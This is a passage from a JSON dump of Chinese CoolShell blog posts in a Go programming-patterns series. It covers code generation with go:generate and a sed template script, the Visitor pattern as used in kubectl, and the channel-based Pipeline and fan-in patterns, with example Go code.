//1.4142135623\n```\n\n我们可以看到，Type Assert是不用了，但是用反射写出来的代码还是有点复杂的。那么有没有什么好的方法？\n\n\n#### 它山之石\n\n\n对于泛型编程最牛的语言 C++ 来说，这类的问题都是使用 Template来解决的。\n\n\n\n\n|  |  |\n| --- | --- |\n| \n```\n//用<class T>来描述泛型\ntemplate <class T> \nT GetMax (T a, T b)  { \n    T result; \n    result = (a>b)? a : b; \n    return (result); \n} \n\n```\n | \n```\nint i=5, j=6, k; \n//生成int类型的函数\nk=GetMax<int>(i,j);\n \nlong l=10, m=5, n; \n//生成long类型的函数\nn=GetMax<long>(l,m); \n\n```\n |\n\n\nC++的编译器会在编译时分析代码，根据不同的变量类型来自动化的生成相关类型的函数或类。C++叫模板的具体化。\n\n\n这个技术是编译时的问题，所以，不需要我们在运行时进行任何的运行的类型识别，我们的程序也会变得比较的干净。\n\n\n那么，我们是否可以在Go中使用C++的这种技术呢？答案是肯定的，只是Go的编译器不帮你干，你需要自己动手。\n\n\n#### Go Generator\n\n\n要玩 Go的代码生成，你需要三件事：\n\n\n1. 一个函数模板，其中设置好相应的占位符。\n2. 一个脚本，用于按规则来替换文本并生成新的代码。\n3. 一行注释代码。\n\n\n##### 函数模板\n\n\n我们把我们之前的示例改成模板。取名为 `container.tmp.go` 放在 `./template/`下\n\n\n\n```\npackage PACKAGE_NAME\ntype GENERIC_NAMEContainer struct {\n    s []GENERIC_TYPE\n}\nfunc NewGENERIC_NAMEContainer() *GENERIC_NAMEContainer {\n    return &GENERIC_NAMEContainer{s: []GENERIC_TYPE{}}\n}\nfunc (c *GENERIC_NAMEContainer) Put(val GENERIC_TYPE) {\n    c.s = append(c.s, val)\n}\nfunc (c *GENERIC_NAMEContainer) Get() GENERIC_TYPE {\n    r := c.s[0]\n    c.s = c.s[1:]\n    return r\n}\n```\n\n我们可以看到函数模板中我们有如下的占位符：\n\n\n* `PACKAGE_NAME` – 包名\n* `GENERIC_NAME` – 名字\n* `GENERIC_TYPE` – 实际的类型\n\n\n其它的代码都是一样的。\n\n\n##### 函数生成脚本\n\n\n然后，我们有一个叫`gen.sh`的生成脚本，如下所示：\n\n\n\n```\n#!/bin/bash\n\nset -e\n\nSRC_FILE=${1}\nPACKAGE=${2}\nTYPE=${3}\nDES=${4}\n#uppcase the first char\nPREFIX=\"$(tr '[:lower:]' '[:upper:]' <<< ${TYPE:0:1})${TYPE:1}\"\n\nDES_FILE=$(echo ${TYPE}| tr '[:upper:]' '[:lower:]')_${DES}.go\n\nsed 's/PACKAGE_NAME/'\"${PACKAGE}\"'/g' ${SRC_FILE} | \\\n    sed 's/GENERIC_TYPE/'\"${TYPE}\"'/g' | \\\n    sed 's/GENERIC_NAME/'\"${PREFIX}\"'/g' > ${DES_FILE}\n```\n\n其需要4个参数：\n\n\n* 模板源文件\n* 包名\n* 实际需要具体化的类型\n* 用于构造目标文件名的后缀\n\n\n然后其会用 `sed` 命令去替换我们的上面的函数模板，并生成到目标文件中。（关于sed命令请参看本站的《[sed 简明教程](https://coolshell.cn/articles/9104.html \"sed 简明教程\")》）\n\n\n##### 生成代码\n\n\n接下来，我们只需要在代码中打一个特殊的注释：\n\n\n\n```\n//go:generate ./gen.sh ./template/container.tmp.go gen uint32 container\nfunc generateUint32Example() {\n    var u uint32 = 42\n    c := NewUint32Container()\n    c.Put(u)\n    v := c.Get()\n    fmt.Printf(\"generateExample: %d (%T)\\n\", v, v)\n}\n\n//go:generate ./gen.sh ./template/container.tmp.go gen string container\nfunc generateStringExample() {\n    var s string = \"Hello\"\n    c := NewStringContainer()\n    c.Put(s)\n    v := c.Get()\n    fmt.Printf(\"generateExample: %s (%T)\\n\", v, v)\n}\n```\n\n其中，\n\n\n* 第一个注释是生成包名为 `gen` 类型为 `uint32` 目标文件名以 `container` 为后缀\n* 第二个注释是生成包名为 `gen` 类型为 `string` 目标文件名以 `container` 为后缀\n\n\n然后，在工程目录中直接执行  `go generate` 命令，就会生成如下两份代码，\n\n\n一份文件名为`uint32_container.go`\n\n\n\n```\npackage gen\n\ntype Uint32Container struct {\n    s []uint32\n}\nfunc NewUint32Container() *Uint32Container {\n    return &Uint32Container{s: []uint32{}}\n}\nfunc (c *Uint32Container) Put(val uint32) {\n    c.s = append(c.s, val)\n}\nfunc (c *Uint32Container) Get() uint32 {\n    r := c.s[0]\n    c.s = c.s[1:]\n    return r\n}\n```\n\n另一份的文件名为 `string_container.go`\n\n\n\n```\npackage gen\n\ntype StringContainer struct {\n    s []string\n}\nfunc NewStringContainer() *StringContainer {\n    return &StringContainer{s: []string{}}\n}\nfunc (c *StringContainer) Put(val string) {\n    c.s = append(c.s, val)\n}\nfunc (c *StringContainer) Get() string {\n    r := c.s[0]\n    c.s = c.s[1:]\n    return r\n}\n\n```\n\n这两份代码可以让我们的代码完全编译通过，所付出的代价就是需要多执行一步 `go generate` 命令。\n\n\n#### 新版Filter\n\n\n现在我们再回头看看我们之前《[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)》中的那些个用反射整出来的例子，有了这样的技术，我就不必在代码里用那些晦涩难懂的反射来做运行时的类型检查了。我们可以写下很干净的代码，让编译器在编译时检查类型对不对。下面是一个Fitler的模板文件 `filter.tmp.go`：\n\n\n\n```\npackage PACKAGE_NAME\n\ntype GENERIC_NAMEList []GENERIC_TYPE\n\ntype GENERIC_NAMEToBool func(*GENERIC_TYPE) bool\n\nfunc (al GENERIC_NAMEList) Filter(f GENERIC_NAMEToBool) GENERIC_NAMEList {\n    var ret GENERIC_NAMEList\n    for _, a := range al {\n        if f(&a) {\n            ret = append(ret, a)\n        }\n    }\n    return ret\n}\n\n```\n\n于是我们可在需要使用这个的地方，加上相关的 go generate 的注释\n\n\n\n```\ntype Employee struct {\n  Name     string\n  Age      int\n  Vacation int\n  Salary   int\n}\n\n//go:generate ./gen.sh ./template/filter.tmp.go gen Employee filter\nfunc filterEmployeeExample() {\n\n  var list = EmployeeList{\n    {\"Hao\", 44, 0, 8000},\n    {\"Bob\", 34, 10, 5000},\n    {\"Alice\", 23, 5, 9000},\n    {\"Jack\", 26, 0, 4000},\n    {\"Tom\", 48, 9, 7500},\n  }\n\n  var filter EmployeeList\n  filter = list.Filter(func(e *Employee) bool {\n    return e.Age > 40\n  })\n\n  fmt.Println(\"----- Employee.Age > 40 ------\")\n  for _, e := range filter {\n    fmt.Println(e)\n  }\n\n  filter = list.Filter(func(e *Employee) bool {\n    return e.Salary <= 5000\n  })\n\n  fmt.Println(\"----- Employee.Salary <= 5000 ------\")\n  for _, e := range filter {\n    fmt.Println(e)\n  }\n}\n```\n\n#### 第三方工具\n\n\n我们并不需要自己手写 `gen.sh` 这样的工具类，已经有很多第三方的已经写好的可以使用。下面是一个列表：\n\n\n* Genny –  <https://github.com/cheekybits/genny>\n* Generic – <https://github.com/taylorchu/generic>\n* GenGen – <https://github.com/joeshaw/gengen>\n* Gen – <https://github.com/clipperhouse/gen>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [![Go 编程模式：Functional Options](../wp-content/uploads/2020/12/go.options-150x150.png)](https://coolshell.cn/articles/21146.html)[Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\nThe post [Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-12-26 Go 编程模式：k8s Visitor 模式.md",
    "content": "---\nlayout: post\ntitle: Go 编程模式：k8s Visitor 模式\ndate: 2020/12/26/ 11:25:46\nupdated: 2020/12/26/ 11:25:46\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/12/go.k8s-265x300.png)本篇文章主要想讨论一下，Kubernetes 的 `kubectl` 命令中的使用到到的一个编程模式 – Visitor（注：其实，`kubectl` 主要使用到了两个一个是Builder，另一个是Visitor）。本来，Visitor 是面向对象设计模英中一个很重要的设计模款（参看Wikipedia [Visitor Pattern词条](https://en.wikipedia.org/wiki/Visitor_pattern)），这个模式是一种将算法与操作对象的结构分离的一种方法。这种分离的实际结果是能够在不修改结构的情况下向现有对象结构添加新操作，是遵循开放/封闭原则的一种方法。这篇文章我们重点看一下 `kubelet` 中是怎么使用函数式的方法来实现这个模式的。\n\n\n### 本文是全系列中第9 / 10篇：[Go编程模式](https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f)\n\n* [Go编程模式：切片，接口，时间和性能](https://coolshell.cn/articles/21128.html)\n* [Go 编程模式：错误处理](https://coolshell.cn/articles/21140.html)\n* [Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* [Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* Go 编程模式：k8s Visitor 模式\n* [Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n\n« [上一篇文章](https://coolshell.cn/articles/21228.html \"Go编程模式：Pipeline\")[下一篇文章](https://coolshell.cn/articles/21615.html \"Go编程模式 ： 泛型编程\") »\n#### 一个简单示例\n\n\n我们还是先来看一个简单设计模式的Visitor的示例。\n\n\n* 我们的代码中有一个`Visitor`的函数定义，还有一个`Shape`接口，其需要使用 `Visitor`函数做为参数。\n* 我们的实例的对象 `Circle`和 `Rectangle`实现了 `Shape` 的接口的 `accept()` 方法，这个方法就是等外面给我传递一个Visitor。\n\n\n\n\n```\npackage main\n\nimport (\n    \"encoding/json\"\n    \"encoding/xml\"\n    \"fmt\"\n)\n\ntype Visitor func(shape Shape)\n\ntype Shape interface {\n    accept(Visitor)\n}\n\ntype Circle struct {\n    Radius int\n}\n\nfunc (c Circle) accept(v Visitor) {\n    v(c)\n}\n\ntype Rectangle struct {\n    Width, Heigh int\n}\n\nfunc (r Rectangle) accept(v Visitor) {\n    v(r)\n}\n\n```\n\n然后，我们实现两个Visitor，一个是用来做JSON序列化的，另一个是用来做XML序列化的\n\n\n\n```\nfunc JsonVisitor(shape Shape) {\n    bytes, err := json.Marshal(shape)\n    if err != nil {\n        panic(err)\n    }\n    fmt.Println(string(bytes))\n}\n\nfunc XmlVisitor(shape Shape) {\n    bytes, err := xml.Marshal(shape)\n    if err != nil {\n        panic(err)\n    }\n    fmt.Println(string(bytes))\n}\n\n```\n\n下面是我们的使用Visitor这个模式的代码\n\n\n\n```\nfunc main() {\n  c := Circle{10}\n  r :=  Rectangle{100, 200}\n  shapes := []Shape{c, r}\n\n  for _, s := range shapes {\n    s.accept(JsonVisitor)\n    s.accept(XmlVisitor)\n  }\n\n}\n```\n\n其实，这段代码的目的就是想解耦 数据结构和 算法，使用 Strategy 模式也是可以完成的，而且会比较干净。**但是在有些情况下，多个Visitor是来访问一个数据结构的不同部分，这种情况下，数据结构有点像一个数据库，而各个Visitor会成为一个个小应用。** `kubectl`就是这种情况。\n\n\n#### k8s相关背景\n\n\n接下来，我们再来了解一下相关的知识背景：\n\n\n* 对于Kubernetes，其抽象了很多种的Resource，比如：Pod, ReplicaSet, ConfigMap, Volumes, Namespace, Roles …. 种类非常繁多，这些东西构成为了Kubernetes的数据模型（点击 [Kubernetes Resources 地图](https://github.com/kubernauts/practical-kubernetes-problems/blob/master/images/k8s-resources-map.png) 查看其有多复杂）\n* `kubectl` 是Kubernetes中的一个客户端命令，操作人员用这个命令来操作Kubernetes。`kubectl` 会联系到 Kubernetes 的API Server，API Server会联系每个节点上的 `kubelet` ，从而达到控制每个结点。\n* `kubectl` 主要的工作是处理用户提交的东西（包括，命令行参数，yaml文件等），然后其会把用户提交的这些东西组织成一个数据结构体，然后把其发送给 API Server。\n* 相关的源代码在 `src/k8s.io/cli-runtime/pkg/resource/visitor.go` 中（[源码链接](https://github.com/kubernetes/kubernetes/blob/cea1d4e20b4a7886d8ff65f34c6d4f95efcb4742/staging/src/k8s.io/cli-runtime/pkg/resource/visitor.go)）\n\n\n`kubectl` 的代码比较复杂，不过，其本原理简单来说，**它从命令行和yaml文件中获取信息，通过Builder模式并把其转成一系列的资源，最后用 Visitor 模式模式来迭代处理这些Reources**。\n\n\n下面我们来看看 `kubectl` 的实现，为了简化，我用一个小的示例来表明 ，而不是直接分析复杂的源码。\n\n\n#### kubectl的实现方法\n\n\n##### Visitor模式定义\n\n\n首先，`kubectl` 主要是用来处理 `Info`结构体，下面是相关的定义：\n\n\n\n```\ntype VisitorFunc func(*Info, error) error\n\ntype Visitor interface {\n    Visit(VisitorFunc) error\n}\n\ntype Info struct {\n    Namespace   string\n    Name        string\n    OtherThings string\n}\nfunc (info *Info) Visit(fn VisitorFunc) error {\n  return fn(info, nil)\n}\n```\n\n我们可以看到，\n\n\n* 有一个 `VisitorFunc` 的函数类型的定义\n* 一个 `Visitor` 的接口，其中需要 `Visit(VisitorFunc) error`  的方法（这就像是我们上面那个例子的 `Shape` ）\n* 最后，为`Info` 实现 `Visitor` 接口中的 `Visit()` 方法，实现就是直接调用传进来的方法（与前面的例子相仿）\n\n\n我们再来定义几种不同类型的 Visitor。\n\n\n##### Name Visitor\n\n\n这个Visitor 主要是用来访问 `Info` 结构中的 `Name` 和 `NameSpace` 成员\n\n\n\n```\ntype NameVisitor struct {\n  visitor Visitor\n}\n\nfunc (v NameVisitor) Visit(fn VisitorFunc) error {\n  return v.visitor.Visit(func(info *Info, err error) error {\n    fmt.Println(\"NameVisitor() before call function\")\n    err = fn(info, err)\n    if err == nil {\n      fmt.Printf(\"==> Name=%s, NameSpace=%s\\n\", info.Name, info.Namespace)\n    }\n    fmt.Println(\"NameVisitor() after call function\")\n    return err\n  })\n}\n```\n\n我们可以看到，上面的代码：\n\n\n* 声明了一个 `NameVisitor` 的结构体，这个结构体里有一个 `Visitor` 接口成员，这里意味着多态。\n* 在实现 `Visit()` 方法时，其调用了自己结构体内的那个 `Visitor`的 `Visitor()` 方法，这其实是一种修饰器的模式，用另一个Visitor修饰了自己（关于修饰器模式，参看《[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html \"Go编程模式：修饰器\")》）\n\n\n##### Other Visitor\n\n\n这个Visitor主要用来访问 `Info` 结构中的 `OtherThings` 成员\n\n\n\n```\ntype OtherThingsVisitor struct {\n  visitor Visitor\n}\n\nfunc (v OtherThingsVisitor) Visit(fn VisitorFunc) error {\n  return v.visitor.Visit(func(info *Info, err error) error {\n    fmt.Println(\"OtherThingsVisitor() before call function\")\n    err = fn(info, err)\n    if err == nil {\n      fmt.Printf(\"==> OtherThings=%s\\n\", info.OtherThings)\n    }\n    fmt.Println(\"OtherThingsVisitor() after call function\")\n    return err\n  })\n}\n```\n\n实现逻辑同上，我就不再重新讲了\n\n\n##### Log Visitor\n\n\n\n```\ntype LogVisitor struct {\n  visitor Visitor\n}\n\nfunc (v LogVisitor) Visit(fn VisitorFunc) error {\n  return v.visitor.Visit(func(info *Info, err error) error {\n    fmt.Println(\"LogVisitor() before call function\")\n    err = fn(info, err)\n    fmt.Println(\"LogVisitor() after call function\")\n    return err\n  })\n}\n```\n\n##### 使用方代码\n\n\n现在我们看看如果使用上面的代码：\n\n\n\n```\nfunc main() {\n  info := Info{}\n  var v Visitor = &info\n  v = LogVisitor{v}\n  v = NameVisitor{v}\n  v = OtherThingsVisitor{v}\n\n  loadFile := func(info *Info, err error) error {\n    info.Name = \"Hao Chen\"\n    info.Namespace = \"MegaEase\"\n    info.OtherThings = \"We are running as remote team.\"\n    return nil\n  }\n  v.Visit(loadFile)\n}\n```\n\n上面的代码，我们可以看到\n\n\n* Visitor们一层套一层\n* 我用 `loadFile` 假装从文件中读如数据\n* 最后一条 `v.Visit(loadfile)` 我们上面的代码就全部开始激活工作了。\n\n\n上面的代码输出如下的信息，你可以看到代码的执行顺序是怎么执行起来了\n\n\n\n```\nLogVisitor() before call function\nNameVisitor() before call function\nOtherThingsVisitor() before call function\n==> OtherThings=We are running as remote team.\nOtherThingsVisitor() after call function\n==> Name=Hao Chen, NameSpace=MegaEase\nNameVisitor() after call function\nLogVisitor() after call function\n```\n\n我们可以看到，上面的代码有以下几种功效：\n\n\n* 解耦了数据和程序。\n* 使用了修饰器模式\n* 还做出来pipeline的模式\n\n\n所以，其实，我们是可以把上面的代码重构一下的。\n\n\n##### Visitor修饰器\n\n\n下面，我们用[修饰器模式](https://coolshell.cn/articles/17929.html \"Go编程模式：修饰器\")来重构一下上面的代码。\n\n\n\n```\ntype DecoratedVisitor struct {\n  visitor    Visitor\n  decorators []VisitorFunc\n}\n\nfunc NewDecoratedVisitor(v Visitor, fn ...VisitorFunc) Visitor {\n  if len(fn) == 0 {\n    return v\n  }\n  return DecoratedVisitor{v, fn}\n}\n\n// Visit implements Visitor\nfunc (v DecoratedVisitor) Visit(fn VisitorFunc) error {\n  return v.visitor.Visit(func(info *Info, err error) error {\n    if err != nil {\n      return err\n    }\n    if err := fn(info, nil); err != nil {\n      return err\n    }\n    for i := range v.decorators {\n      if err := v.decorators[i](info, nil); err != nil {\n        return err\n      }\n    }\n    return nil\n  })\n}\n```\n\n上面的代码并不复杂，\n\n\n* 用一个 `DecoratedVisitor` 的结构来存放所有的`VistorFunc`函数\n* `NewDecoratedVisitor` 可以把所有的 `VisitorFunc`转给它，构造 `DecoratedVisitor` 对象。\n* `DecoratedVisitor`实现了 `Visit()` 方法，里面就是来做一个for-loop，顺着调用所有的 `VisitorFunc`\n\n\n于是，我们的代码就可以这样运作了：\n\n\n\n```\ninfo := Info{}\nvar v Visitor = &info\nv = NewDecoratedVisitor(v, NameVisitor, OtherVisitor)\n\nv.Visit(LoadFile)\n```\n\n是不是比之前的那个简单？注意，这个`DecoratedVisitor` 同样可以成为一个Visitor来使用。\n\n\n好，上面的这些代码全部存在于 `kubectl` 的代码中，你看懂了这里面的代码逻辑，相信你也能够看懂 `kubectl` 的代码了。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [![Go 编程模式：Go Generation](../wp-content/uploads/2020/12/go.generate-150x150.png)](https://coolshell.cn/articles/21179.html)[Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [![Go 编程模式：Functional Options](../wp-content/uploads/2020/12/go.options-150x150.png)](https://coolshell.cn/articles/21146.html)[Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\nThe post [Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-12-26 Go编程模式：Pipeline.md",
    "content": "---\nlayout: post\ntitle: Go编程模式：Pipeline\ndate: 2020/12/26/ 9:4:59\nupdated: 2020/12/26/ 9:4:59\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/12/go.line_.-1024x191.png)\n\n\n本篇文章，我们着重介绍Go编程中的Pipeline模式。对于Pipeline用过Unix/Linux命令行的人都不会陌生，他是一种把各种命令拼接起来完成一个更强功能的技术方法。在今天，流式处理，函数式编程，以及应用网关对微服务进行简单的API编排，其实都是受pipeline这种技术方式的影响，Pipeline这种技术在可以很容易的把代码按单一职责的原则拆分成多个高内聚低耦合的小模块，然后可以很方便地拼装起来去完成比较复杂的功能。\n\n\n### 本文是全系列中第8 / 10篇：[Go编程模式](https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f)\n\n* [Go编程模式：切片，接口，时间和性能](https://coolshell.cn/articles/21128.html)\n* [Go 编程模式：错误处理](https://coolshell.cn/articles/21140.html)\n* [Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* [Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* Go编程模式：Pipeline\n* [Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n\n« [上一篇文章](https://coolshell.cn/articles/17929.html \"Go编程模式：修饰器\")[下一篇文章](https://coolshell.cn/articles/21263.html \"Go 编程模式：k8s Visitor 模式\") »\n#### HTTP 处理\n\n\n这种Pipeline的模式，我们在《[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html \"Go编程模式：修饰器\")》中有过一个示例，我们在这里再重温一下。在那篇文章中，我们有一堆如 `WithServerHead()` 、`WithBasicAuth()` 、`WithDebugLog()`这样的小功能代码，在我们需要实现某个HTTP API 的时候，我们就可以很容易的组织起来。\n\n\n原来的代码是下面这个样子：\n\n\n\n\n```\nhttp.HandleFunc(\"/v1/hello\", WithServerHeader(WithAuthCookie(hello)))\nhttp.HandleFunc(\"/v2/hello\", WithServerHeader(WithBasicAuth(hello)))\nhttp.HandleFunc(\"/v3/hello\", WithServerHeader(WithBasicAuth(WithDebugLog(hello))))\n```\n\n通过一个代理函数：\n\n\n\n```\ntype HttpHandlerDecorator func(http.HandlerFunc) http.HandlerFunc\nfunc Handler(h http.HandlerFunc, decors ...HttpHandlerDecorator) http.HandlerFunc {\n    for i := range decors {\n        d := decors[len(decors)-1-i] // iterate in reverse\n        h = d(h)\n    }\n    return h\n}\n```\n\n我们就可以移除不断的嵌套像下面这样使用了：\n\n\n\n```\nhttp.HandleFunc(\"/v4/hello\", Handler(hello,\n                WithServerHeader, WithBasicAuth, WithDebugLog))\n```\n\n#### Channel 管理\n\n\n当然，如果你要写出一个[泛型的pipeline框架](https://coolshell.cn/articles/17929.html#%E6%B3%9B%E5%9E%8B%E7%9A%84%E4%BF%AE%E9%A5%B0%E5%99%A8)并不容易，而使用[Go Generation](https://coolshell.cn/articles/21179.html \"GO 编程模式：Go Generation\")，但是，我们别忘了Go语言最具特色的 Go Routine 和 Channel 这两个神器完全也可以被我们用来构造这种编程。\n\n\nRob Pike在 [Go Concurrency Patterns: Pipelines and cancellation](https://blog.golang.org/pipelines) 这篇blog中介绍了如下的一种编程模式。\n\n\n##### Channel转发函数\n\n\n首先，我们需一个 `echo()`函数，其会把一个整型数组放到一个Channel中，并返回这个Channel\n\n\n\n```\nfunc echo(nums []int) <-chan int {\n  out := make(chan int)\n  go func() {\n    for _, n := range nums {\n      out <- n\n    }\n    close(out)\n  }()\n  return out\n}\n```\n\n然后，我们依照这个模式，我们可以写下这个函数。\n\n\n##### 平方函数\n\n\n\n```\nfunc sq(in <-chan int) <-chan int {\n  out := make(chan int)\n  go func() {\n    for n := range in {\n      out <- n * n\n    }\n    close(out)\n  }()\n  return out\n}\n\n```\n\n##### 过滤奇数函数\n\n\n\n```\nfunc odd(in <-chan int) <-chan int {\n  out := make(chan int)\n  go func() {\n    for n := range in {\n      if n%2 != 0 {\n        out <- n\n      }\n    }\n    close(out)\n  }()\n  return out\n}\n\n```\n\n##### 求和函数\n\n\n\n```\nfunc sum(in <-chan int) <-chan int {\n  out := make(chan int)\n  go func() {\n    var sum = 0\n    for n := range in {\n      sum += n\n    }\n    out <- sum\n    close(out)\n  }()\n  return out\n}\n```\n\n然后，我们的用户端的代码如下所示：（注：**你可能会觉得，`sum()`，`odd()` 和 `sq()`太过于相似。你其实可以通过我们之前的[Map/Reduce编程模式](https://coolshell.cn/articles/21164.html)或是[Go Generation的方式](https://coolshell.cn/articles/21179.html)来合并一下**）\n\n\n\n```\nvar nums = []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}\nfor n := range sum(sq(odd(echo(nums)))) {\n  fmt.Println(n)\n}\n```\n\n上面的代码类似于我们执行了Unix/Linux命令： `echo $nums | sq | sum`\n\n\n同样，如果你不想有那么多的函数嵌套，你可以使用一个代理函数来完成。\n\n\n\n```\ntype EchoFunc func ([]int) (<- chan int) \ntype PipeFunc func (<- chan int) (<- chan int) \n\nfunc pipeline(nums []int, echo EchoFunc, pipeFns ... PipeFunc) <- chan int {\n  ch  := echo(nums)\n  for i := range pipeFns {\n    ch = pipeFns[i](ch)\n  }\n  return ch\n}\n```\n\n然后，就可以这样做了：\n\n\n\n```\nvar nums = []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}    \nfor n := range pipeline(nums, gen, odd, sq, sum) {\n    fmt.Println(n)\n  }\n```\n\n#### Fan in/Out\n\n\n动用Go语言的 Go Routine和 Channel还有一个好处，就是可以写出1对多，或多对1的pipeline，也就是Fan In/ Fan Out。下面，我们来看一个Fan in的示例：\n\n\n我们想通过并发的方式来对一个很长的数组中的质数进行求和运算，我们想先把数组分段求和，然后再把其集中起来。\n\n\n下面是我们的主函数：\n\n\n\n```\nfunc makeRange(min, max int) []int {\n  a := make([]int, max-min+1)\n  for i := range a {\n    a[i] = min + i\n  }\n  return a\n}\n\nfunc main() {\n  nums := makeRange(1, 10000)\n  in := echo(nums)\n\n  const nProcess = 5\n  var chans [nProcess]<-chan int\n  for i := range chans {\n    chans[i] = sum(prime(in))\n  }\n\n  for n := range sum(merge(chans[:])) {\n    fmt.Println(n)\n  }\n}\n```\n\n再看我们的 `prime()` 函数的实现 ：\n\n\n\n```\nfunc is_prime(value int) bool {\n  for i := 2; i <= int(math.Floor(float64(value) / 2)); i++ {\n    if value%i == 0 {\n      return false\n    }\n  }\n  return value > 1\n}\n\nfunc prime(in <-chan int) <-chan int {\n  out := make(chan int)\n  go func ()  {\n    for n := range in {\n      if is_prime(n) {\n        out <- n\n      }\n    }\n    close(out)\n  }()\n  return out\n}\n```\n\n我们可以看到，\n\n\n* 我们先制造了从1到10000的一个数组，\n* 然后，把这堆数组全部 `echo`到一个channel里 – `in`\n* 此时，生成 5 个 Channel，然后都调用 `sum(prime(in))` ，于是每个Sum的Go Routine都会开始计算和\n* 最后再把所有的结果再求和拼起来，得到最终的结果。\n\n\n其中的merge代码如下：\n\n\n\n```\nfunc merge(cs []<-chan int) <-chan int {\n  var wg sync.WaitGroup\n  out := make(chan int)\n\n  wg.Add(len(cs))\n  for _, c := range cs {\n    go func(c <-chan int) {\n      for n := range c {\n        out <- n\n      }\n      wg.Done()\n    }(c)\n  }\n  go func() {\n    wg.Wait()\n    close(out)\n  }()\n  return out\n}\n```\n\n用图片表示一下，整个程序的结构如下所示：\n\n\n![](../wp-content/uploads/2020/12/pipeline-1024x425.png)\n\n\n#### 延伸阅读\n\n\n如果你还想了解更多的这样的与并发相关的技术，可以参看下面这些资源：\n\n\n* **Go** **Concurrency** **Patterns** – **Rob** **Pike –** 2012 Google I/O presents the basics of Go‘s concurrency primitives and several ways to apply them.  \n\n<https://www.youtube.com/watch?v=f6kdp27TYZs>\n* **Advanced Go Concurrency Patterns**– **Rob** **Pike** – 2013 Google I/O covers more complex uses of Go’s primitives, especially select.  \n\n<https://blog.golang.org/advanced-go-concurrency-patterns>\n* **Squinting at Power Series**– **Douglas McIlroy**‘s paper shows how Go-like concurrency provides elegant support for complex calculations.  \n\n<https://swtch.com/~rsc/thread/squint.pdf>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 